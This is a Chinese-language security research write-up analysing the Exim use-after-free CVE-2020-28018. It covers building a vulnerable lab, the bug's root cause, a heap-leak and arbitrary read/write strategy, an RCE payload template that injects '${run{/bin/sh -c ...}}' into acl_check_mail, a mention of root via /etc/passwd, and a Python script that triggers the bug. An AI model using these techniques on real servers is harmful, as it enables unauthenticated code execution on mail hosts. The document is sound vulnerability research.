Exim CVE-2020-28018 漏洞分析
2021-06-03 17:05:00 Author: paper.seebug.org(查看原文) 阅读量:144 收藏

作者:Hcamael@知道创宇404实验室
时间:2021年6月1日

前段时间Exim突然出现了好多CVE[1],随后没多久Github上也出现了对CVE-2020-28018进行利用最后达到RCE的EXP和利用思路[2]。随后我也对该漏洞进行复现分析。

概述

经过一段时间的环境搭建,漏洞复现研究后,发现该漏洞的效果是很不错的,基本能在未认证的情况下稳定利用。但限制也很多:

  1. 要求服务端开启PIPELINING
  2. 要求服务端开启TLS,而且还是使用openssl库
  3. EXP不能通杀

第一点还好,大部分都是默认开启的。但是第二点比较困难,因为我测试的两个系统debian/ubuntu,默认都是使用GnuTLS而不是OpenSSL。所以搭建环境的时候需要重新编译deb包。

第三点,测试debian和ubuntu的exp相差还是比较大的,不过后续研究发现是版本问题,如果不嫌麻烦,可以研究研究通杀的方法。Github公开的那个EXP不太行,我测试的两个版本都没戏,离能用的exp还相差比较多,当成探测的PoC还差不多。

环境搭建

先给一份Dockerfile:

FROM ubuntu:18.04

RUN sed -i "s/archive.ubuntu.com/mirrors.ustc.edu.cn/g" /etc/apt/sources.list
RUN sed -i "s/security.ubuntu.com/mirrors.ustc.edu.cn/g" /etc/apt/sources.list
RUN apt update

RUN mkdir /root/exim4

COPY *.deb /root/exim4/
COPY *.ddeb /root/exim4/

RUN dpkg -i /root/exim4/*.deb || apt --fix-broken install -y
RUN dpkg -i /root/exim4/*.deb && dpkg -i /root/exim4/*.ddeb

RUN sed -i "s/127.0.0.1 ; ::1/0.0.0.0/g" /etc/exim4/update-exim4.conf.conf
RUN sed -i "1i\MAIN_TLS_ENABLE = yes" /etc/exim4/exim4.conf.template
COPY exim.crt /etc/exim4/exim.crt
COPY exim.key /etc/exim4/exim.key
COPY exim_start /exim_start
RUN update-exim4.conf && chmod +x /exim_start

CMD ["/exim_start"]

其中crtkey的生成脚本如下:

#!/bin/sh -e

if [ -n "$EX4DEBUG" ]; then
  echo "now debugging $0 $@"
  set -x
fi

DIR=/etc/exim4
CERT=$DIR/exim.crt
KEY=$DIR/exim.key

# This exim binary was built with GnuTLS which does not support dhparams
# from a file. See /usr/share/doc/exim4-base/README.Debian.gz
#DH=$DIR/exim.dhparam

if ! which openssl > /dev/null ;then
    echo "$0: openssl is not installed, exiting" 1>&2
    exit 1
fi

# valid for three years
DAYS=1095

if [ "$1" != "--force" ] && [ -f $CERT ] && [ -f $KEY ]; then
  echo "[*] $CERT and $KEY exists!"
  echo "    Use \"$0 --force\" to force generation!"
  exit 0
fi

if [ "$1" = "--force" ]; then
  shift
fi     

#SSLEAY=/tmp/exim.ssleay.$$.cnf
SSLEAY="$(tempfile -m600 -pexi)"

cat > $SSLEAY <<EOM
RANDFILE = $HOME/.rnd
[ req ]
default_bits = 1024
default_keyfile = exim.key
distinguished_name = req_distinguished_name
[ req_distinguished_name ]
countryName = Country Code (2 letters)
countryName_default = US
countryName_min = 2
countryName_max = 2
stateOrProvinceName = State or Province Name (full name)
localityName = Locality Name (eg, city)
organizationName = Organization Name (eg, company; recommended)
organizationName_max = 64
organizationalUnitName = Organizational Unit Name (eg, section)
organizationalUnitName_max = 64
commonName = Server name (eg. ssl.domain.tld; required!!!)
commonName_max = 64
emailAddress = Email Address
emailAddress_max = 40
EOM

echo "[*] Creating a self signed SSL certificate for Exim!"
echo "    This may be sufficient to establish encrypted connections but for"
echo "    secure identification you need to buy a real certificate!"
echo "    "
echo "    Please enter the hostname of your MTA at the Common Name (CN) prompt!"
echo "    "

openssl req -config $SSLEAY -x509 -newkey rsa:1024 -keyout $KEY -out $CERT -days $DAYS -nodes
#see README.Debian.gz*# openssl dhparam -check -text -5 512 -out $DH
rm -f $SSLEAY

chown root:Debian-exim $KEY $CERT $DH
chmod 640 $KEY $CERT $DH

echo "[*] Done generating self signed certificates for exim!"
echo "    Refer to the documentation and example configuration files"
echo "    over at /usr/share/doc/exim4-base/ for an idea on how to enable TLS"
echo "    support in your mail transfer agent."

exim_start文件内容如下:

#!/bin/bash

/etc/init.d/exim4 start
/bin/bash

deb包的编译方法如下所示(不仅仅是该Dockerfile,如果是使用debian环境,方法类似):

  1. debian从https://snapshot.debian.org/下载存在漏洞的exim源码,ubuntu从https://launchpad.net/~ubuntu-security-proposed/+archive/ubuntu/ppa上面进行下载。

接下来的步骤都是假设在ubuntu系统中:

#!/bin/bash
wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/exim4/4.90.1-1ubuntu1.5/exim4_4.90.1.orig.tar.xz
wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/exim4/4.90.1-1ubuntu1.5/exim4_4.90.1-1ubuntu1.5.debian.tar.xz
wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/exim4/4.90.1-1ubuntu1.5/exim4_4.90.1-1ubuntu1.5.dsc
dpkg-source --no-check -x exim4_4.90.1-1ubuntu1.5.dsc

# /etc/apt/source.list 里面记得加上deb-src
apt-get build-dep exim4
apt-get install --no-install-recommends devscripts 

cd exim4-4.90.1
perl -i -pe 's/^\s*#\s*OPENSSL\s*:=\s*1/OPENSSL:=1/' debian/rules
dch -l +openssl 'rebuild with openssl'
debian/rules binary

漏洞分析

漏洞点

漏洞点位于tls-openssl.c文件的tls_write函数。

int
tls_write(BOOL is_server, const uschar *buff, size_t len, BOOL more)
{
int outbytes, error, left;
SSL *ssl = is_server ? server_ssl : client_ssl;
static gstring * corked = NULL;

DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
  buff, (unsigned long)len, more ? ", more" : "");

/* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
"more" is notified.  This hack is only ok if small amounts are involved AND only
one stream does it, in one context (i.e. no store reset).  Currently it is used
for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */

if (is_server && (more || corked))
  {
  corked = string_catn(corked, buff, len);
  if (more)
    return len;
  buff = CUS corked->s;
  len = corked->ptr;
  corked = NULL;
  }
...
}

static gstring * corked = NULL;变量存在UAF漏洞。

该函数是一个在建立了TLS??后,进行socket输出的函数。

当参数more的值为True的时候,表示后续还有输出,把当前的输出存起来,等到more为False的时候,再进行输出。之前的值存储在corked这个staic变量里面。只有当进行TLS输出的时候,才会把corked变量赋值为NULL,进行释放。

审计一波代码,把目光放在smtp_printf函数,基本都是靠该函数调用的tls_write函数。

Exim处理用户输入的主函数是smtp_in.c文件的smtp_setup_msg函数。

int
smtp_setup_msg(void)
{
......
# MAIL FROM
    if (rc == OK || rc == DISCARD)
      {
      BOOL more = pipeline_response();

      if (!user_msg)
        smtp_printf("%s%s%s", more, US"250 OK",
                  #ifndef DISABLE_PRDR
                    prdr_requested ? US", PRDR Requested" : US"",
                      #else
                    US"",
                  #endif
                    US"\r\n");
      else
        {
      #ifndef DISABLE_PRDR
        if (prdr_requested)
           user_msg = string_sprintf("%s%s", user_msg, US", PRDR Requested");
      #endif
        smtp_user_msg(US"250", user_msg);
        }
......
# RCPT TO
    if (rc == OK)
      {
      BOOL more = pipeline_response();

      if (user_msg)
        smtp_user_msg(US"250", user_msg);
      else
        smtp_printf("250 Accepted\r\n", more);
      receive_add_recipient(recipient, -1);
......

审计了一波函数,发现只有MAIL FROMRCPT TO指令处理成功后,并且开启了PIPELINE,并且后续还有输入的情况下,more才为TRUE。

单从上面说的这些看,这代码好像没啥问题。一开始我也看不出为啥这会造成UAF,随后研究了一下Github上的EXP,步骤如下:

  1. EHLO xxxx # 建立TLS之前必须先EHLO
  2. STARTTLS
  3. EHLO xxxxx # MAIL FROM/RCPT TO之前必须先EHLO
  4. MAIL FROM # RCPT TO之前必须先MAIL FROM
  5. RCPT TO: <xxx>\nNO
  6. 关闭TLS信道,切换回明文信道
  7. OP\n
  8. 使用EHLO或者REST调用smtp_reset
  9. STARTTLS
  10. NOOP

最关键的在5,6,8步,下面堆这三步进行解释:

5.. 必须要让RCPT执行成功,所以可以发送RCPT TO: <postermaster>,处理完RCPT的时候,进入tls_write进行输出,因为more等于1,所以会把成功的输出字符串250 Accept\r\n储存到corked变量中。随后处理剩下的字符NO,因为没接收到回车,所以继续等待输出。

6.. 但是这个时候我们把TLS信道关闭,切换回明文信道,但是却不会调用smtp_reset,把tls用的堆比如corked给释放掉。因为进入了明文信道,随后的输出就不会再调用tls_write函数了。

8.. 比如我们调用EHLO xxx,后续将会调用smtp_reset函数,变量corked指向的堆将会被回收。但是corked的值却不会被设置为NULL。随后我们再次切换到TLS信道,随便输入一个命令,将会调用tls_write进行输出,这个时候corked不为空,但是其指向的堆却已经被释放。所以这就造成了UAF漏洞。

RCE利用思路

利用思路还是跟这篇文章写的一样[3],大致分为3步:

  1. 利用漏洞泄漏出堆地址。
  2. 泄漏出堆地址后,在堆上搜索字符串acl_check_mail的位置。
  3. 利用任意写把上面的字符串替换成:acl_check_mail:(condition = ${run{/bin/sh -c '%s'}})

其中最难的是第一步,利用UAF漏洞泄漏出任意堆地址。或者说这步是影响通杀的地方,后续的步骤我测试了两个版本,都可以用一个代码通杀,但是第一步还是没办法。

UAF利用思路

这里就来具体说说利用UAF进行堆泄漏的过程,不知道是不是我环境问题(我感觉环境没错),Github上的exp,是没办法进行堆泄漏的。所以后面我花了很长一段时间在研究/调试堆,所以后续我就按照自己的思路进行讲解。

前面固定步骤:

  1. EHLO x
  2. STARTTLS
  3. EHLO x

接下来就有区分度了:

  1. 一次性发送MAIL FROM: <>\n + RCPT TO: <postmaster> * n + "NO"
  2. 先发送MAIL FROM: <>\n,在发送RCPT TO: <postmaster> * n + "NO"

不同的方式可以控制corked地址的高低,但只能控制高低,却不能进行微调。

没有进行过多次测试,但是我估计n在exim 4.92+上必须小于9。

理由如下:

corked是使用string_catn函数进行堆分配的,所以是在第一次字符串长度的基础上加上127,因为要求MAIL和RCPT必须要成功,所以返回不是250 Accepted\r\n就是250 OK\r\n,长度都是在0x10以内,所以申请下来的堆长度基本是0x10字符串结构的头部 + 0x80 + 0x10 = 0x100,所以当n的值过大的时候,会根据新的长度进行新的堆分配申请。

在RCPT请求中,会调用string_sprintf函数,我们来比较一下在exim4.90exim4.92中这个函数的区别:

#define STRING_SPRINTF_BUFFER_SIZE (8192 * 4)

# exim 4.90
uschar *
string_sprintf(const char *format, ...)
{
va_list ap;
uschar buffer[STRING_SPRINTF_BUFFER_SIZE];
va_start(ap, format);
if (!string_vformat(buffer, sizeof(buffer), format, ap))
  log_write(0, LOG_MAIN|LOG_PANIC_DIE,
    "string_sprintf expansion was longer than " SIZE_T_FMT
    "; format string was (%s)\nexpansion started '%.32s'",
    sizeof(buffer), format, buffer);
va_end(ap);
return string_copy(buffer);
}

uschar *
string_copy(const uschar *s)
{
int len = Ustrlen(s) + 1;
uschar *ss = store_get(len);
memcpy(ss, s, len);
return ss;
}

# exim 4.92

uschar *
string_sprintf(const char *format, ...)
{
#ifdef COMPILE_UTILITY
uschar buffer[STRING_SPRINTF_BUFFER_SIZE];
gstring g = { .size = STRING_SPRINTF_BUFFER_SIZE, .ptr = 0, .s = buffer };
gstring * gp = &g;
#else
gstring * gp = string_get(STRING_SPRINTF_BUFFER_SIZE);
#endif
gstring * gp2;
va_list ap;

va_start(ap, format);
gp2 = string_vformat(gp, FALSE, format, ap);
gp->s[gp->ptr] = '\0';
va_end(ap);

if (!gp2)
  log_write(0, LOG_MAIN|LOG_PANIC_DIE,
    "string_sprintf expansion was longer than %d; format string was (%s)\n"
    "expansion started '%.32s'",
    gp->size, format, gp->s);

#ifdef COMPILE_UTILITY
return string_copy(gp->s);
#else
gstring_reset_unused(gp);
return gp->s;
#endif
}

我最开始测试的就是exim4.92,默认是没有定义COMPILE_UTILITY。所以在这个版本中,每调用一次sprintf_smpt就得store_get_3(0x8000),分配赋值之后,根据具体长度,调整next_yieldyield_length。但是随后测试的ubuntu18.04,用的就是exim4.90,也就是使用多少分配多少。

这里简单说一下exim中的堆管理,如果理解不了,请阅读store_get_3源码 其实只要关注3个全局变量就好了: current_block/next_yield/yield_length 每次申请内存,都会和yield_length进行比较,如果小于,那就直接分配从next_yiled开始的堆,current_block是当前大堆(malloc的堆)地址,也就是yield_length + (next_yield-current_block) == current_block.length 如果请求的堆大于yield_length,则重新向malloc申请新的堆块,堆块的最小长度为0x4000,最大程度为申请的长度。旧堆块则会被放入chainbase,除非被释放,要不然是不会再被使用了。

如果n的值过大,因为之前有多个RCPT,则会调用多个sprintf_smpt,那么就会调用非常多个store_get_3(0x8000),这个时候堆布局将会被拉扯的非常大非常大,那这个时候string_catn申请的新堆块将会在非常后面。

在我实际测试的过程中发现,当调用smtp_reset的时候,过大的堆都会在内存中被释放。也就是该地址变为了不可访问的地址。在EXP的表现就会变为在最后NOOP的时候,程序会crash。

因为exim处理请求都是fork出来的子进程处理的,就是crash了。也不影响主进程,所以没啥用,连dos都做不到。

到这里为止,我们主要是对corked的地址进行选择(选择题,感觉是没法变为填空题)。

接下来:

  1. 关闭TLS信道,进入明文信道
  2. 发送OP\n,得到OK\r\n的返回

接下来又有多种选择:

有以下几种命令可以调用:

  • EHLO/HELO xxxx 都能调用smtp_reset
  • RESET 也是用来调用smtp_reset的
  • MAIL FROM 在reset后必须跟EHLO才能MAIL FROM
  • RCPT TO 必须先MAIL FROM
  • \xFF * n 发送n个无效命令
  • DATA

顺序啥的都是自己自由调整,但是最开始最好得有一个调用reset的命令,因为这样才能让corked的堆进入释放的状态,后续我们才能用其他命令覆盖该堆地址的内容。

具体顺序各位可以自己自行调整,答案不唯一。我就分享一下我的经验:

因为我们的目的是泄漏出堆地址,所以我们得让堆地址出现在corked的有效区域内,这个时候就有两种方法:

  1. 调用string_get这类有指针函数的结构,不过我在调试的过程中只找到这一个。该结构的首地址必须要高于corked,这样输出corked的时候,就能把这个结构的指针泄漏出来。
  2. 修改corked->ptr的大小,只要变的足够大,总能泄漏出堆地址。

Github的exp使用的是第一种方法,但是我使用的是第二种方法。

因为在我的研究中,好像做不到第一种情况,如果要做到第一种情况,会把corked的指针覆盖掉,所以就算在后面写了指针也没用。

不过后面研究exim4.90的时候猜测,也许Github的环境是设置了COMPILE_UTILITY

在这个时候,不会有一堆store_get_3(0x8000)捣乱,那么当string_catn扩展堆的时候,堆指针和指针指向的值就不连续了,这样在覆盖值的时候就不会影响到指针了。

(:不过这都不重要了,反正我也研究出了思路2的exp。

思路2可以找一个命令,这个命令最后一个分配的堆块有可控的命令。比如我找的就是RCPT TO,可以这样构造:RCPT TO: <a*x@b*n\x20\\x1f>

目的是要把corked->ptr设置为0x4120, 这样就能泄漏出0x4120长度的字符串了。基本上会存在堆地址的,如果不存在,就是你的ptr不够大。不过这里要注意,ptr+字符串指针,别超出有效地址范围。


说完了UAF利用,能泄漏出堆地址后,你就踏出了最重要的一步,比如研究堆泄漏需要花你90%的时间,那研究任意读和任意写只要花5%的时间。

任意读就很简单了,把Github的拿出来改改大部分都能用。思路就是堆喷,喷到corked的结构上,把字符串指针改成你想泄漏的地址。长度也就随便改改,比如0x1000。如果没喷上,就调试一下,搜一下喷上的地址区间,然后在改改最开始的poc,让corked的地址凑上去,凑不上去,就是你喷的不够大,只要足够大,总能凑上去的。

因为喷的数据有不可显字符,所以也只能用DATA命令来进行堆喷了。

而任意写前面和任意读一样,都是通过堆喷,覆盖corked的内容到你想写的地址。但是最后有一点不一样,使用的是MAIL FROM: cmd,这样tls_write将会输出501 cmd: missing or malformed local part (expected word or \"<\")\r\n

然后会调用string_catncorked指向的地址写入上述的字符串。

因为用了堆喷,所以我觉得任意读和任意写的代码是可以通杀的。

最后的RCE思路,以前的exim就出现过了,就是利用acl_check函数,调用expand_string来进行命令执行。

在调用MAIL FROM的时候,acl_check会调用expand_string("acl_check_mail"),所以我们可以堆上搜索这个字符串的位置,把该值换成我们想执行的命令,最后让它变成调用expand_string("acl_check_mail:(condition = ${run{/bin/sh -c '%s'}})"),这样在最后把NOOP换成MAIL FROMM,就能RCE了。

最后分享一个探测脚本吧:

def _verify(self):
        result = {}
        self.normalize_url()
        # To establish socket
        socket.setdefaulttimeout(5)
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((self.ip, self.port))
        # To establish ssl
        context = ssl._create_unverified_context()
        # check server
        header = sock.recv(1024)
        while True:
            if b"ESMTP Exim 4.9" not in header:
                break
            sock.send(b"EHLO hh\r\n")
            data = sock.recv(1024)
            if b"250-STARTTLS\r\n" not in data or b"250-PIPELINING" not in data:
                break
            sock.send(b"STARTTLS\r\n")
            data = sock.recv(1024)
            if b"220 TLS go ahead" not in data:
                break
            tls_s = context.wrap_socket(sock, server_hostname=self.ip)
            # TLS mode
            tls_s.send(b"EHLO hh\r\n")
            data = tls_s.recv(1024)
            if b"HELP\r\n" not in data:
                break
            tls_s.send(b"MAIL FROM: <>\r\n")
            data = tls_s.recv(1024)
            if b"OK\r\n" not in data:
                break
            rcpt_data1 = b"RCPT TO: <postmaster>\r\n"
            for i in range(6):
                rcpt_data1 += b"RCPT TO: <postmaster>\r\n"
            rcpt_data1 += b"NO"
            tls_s.send(rcpt_data1)
            socket.setdefaulttimeout(1)
            try:
                tls_s.unwrap()
            except socket.timeout:
                pass
            socket.setdefaulttimeout(5)
            tls_s._sslobj = None
            # plaintext mode
            sock = tls_s
            sock.send(b"OP\r\n")
            data = sock.recv(1024)
            if b"OK\r\n" not in data:
                break
            sock.send(b"EHLO hh\r\n")
            data = sock.recv(1024)
            if b"HELP\r\n" not in data:
                break
            sock.send(b"STARTTLS\r\n")
            data = sock.recv(1024)
            if b"220 TLS go ahead" not in data:
                break
            tls_s = context.wrap_socket(sock, server_hostname=self.ip)
            # TLS mode
            tls_s.send(b"NOOP\r\n")
            # fd.interactive()
            data = tls_s.recv(1024)
            if b"250 Accepted" in data:
                result["VerifyInfo"] = {}
                result['VerifyInfo']["Target"] = self.ip
                result['VerifyInfo']["Port"] = self.port
                result['VerifyInfo']["INFO"] = header
            break
        return self.parse_output(result)

提权

已经有提权的EXP了,Debian-exim用户通过写/etc/passwd来进行提权。

最后分享一下RCE + 提权的效果图:

其他

复现这个漏洞,最花时间的还是在调试泄漏的堆上,其次就是折腾环境。再下来就是折腾python进行TLS wrap的问题了。

遇到一个坑点,在debian上,调用ssl.unwrap没问题,但是在ubuntu上就会卡死。

搜了半天在网上没找到答案,最后使用strace进行调试,发现python在unwrap后估计还在等服务器回应,但是服务器不会,所以IO就卡住了。但是这个时候只要客户端发送一个SHUTDOWN包,就能结束TLS信道,切换回明文信道了。

所以只要在调用unwrap的时候设置一个超时就好了。如果是写C的就没这些烦恼了。

期间还尝试了直接用python调用C的API,可以是可以,但是太麻烦了。

这里简单的分享一下,用python调用C的SSL API:

from cryptography.hazmat.bindings.openssl.binding import Binding
binding = Binding()
lib = binding.lib
_FFI = binding.ffi
no_zero_allocator = _FFI.new_allocator(should_clear_after_alloc=True)

lib.SSL_library_init()
lib.OpenSSL_add_all_algorithms()
lib.SSL_load_error_strings()
method = lib.TLSv1_2_client_method()
ctx = lib.SSL_CTX_new(method)
tls_s = lib.SSL_new(ctx)
lib.SSL_set_fd(tls_s, sock.fileno())
lib.SSL_set_connect_state(tls_s)
ret = lib.SSL_do_handshake(tls_s)
# pause()
if ret:
    ret = lib.SSL_write(tls_s, b"HELP\r\n", 6)
    if ret >= 0:
        buf = no_zero_allocator("char []", 0x1000)
        ret = lib.SSL_read(tls_s, buf, 0x1000)
        data = _FFI.buffer(buf, ret)
        print(data[:])
lib.SSL_shutdown(tls_s)

参考链接

  1. https://www.qualys.com/2021/05/04/21nails/21nails.txt
  2. https://github.com/lockedbyte/CVE-Exploits/tree/master/CVE-2020-28018
  3. https://adepts.of0x.cc/exim-cve-2020-28018/

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1595/


文章来源: https://paper.seebug.org/1595/
如有侵权请联系:admin#unsafe.sh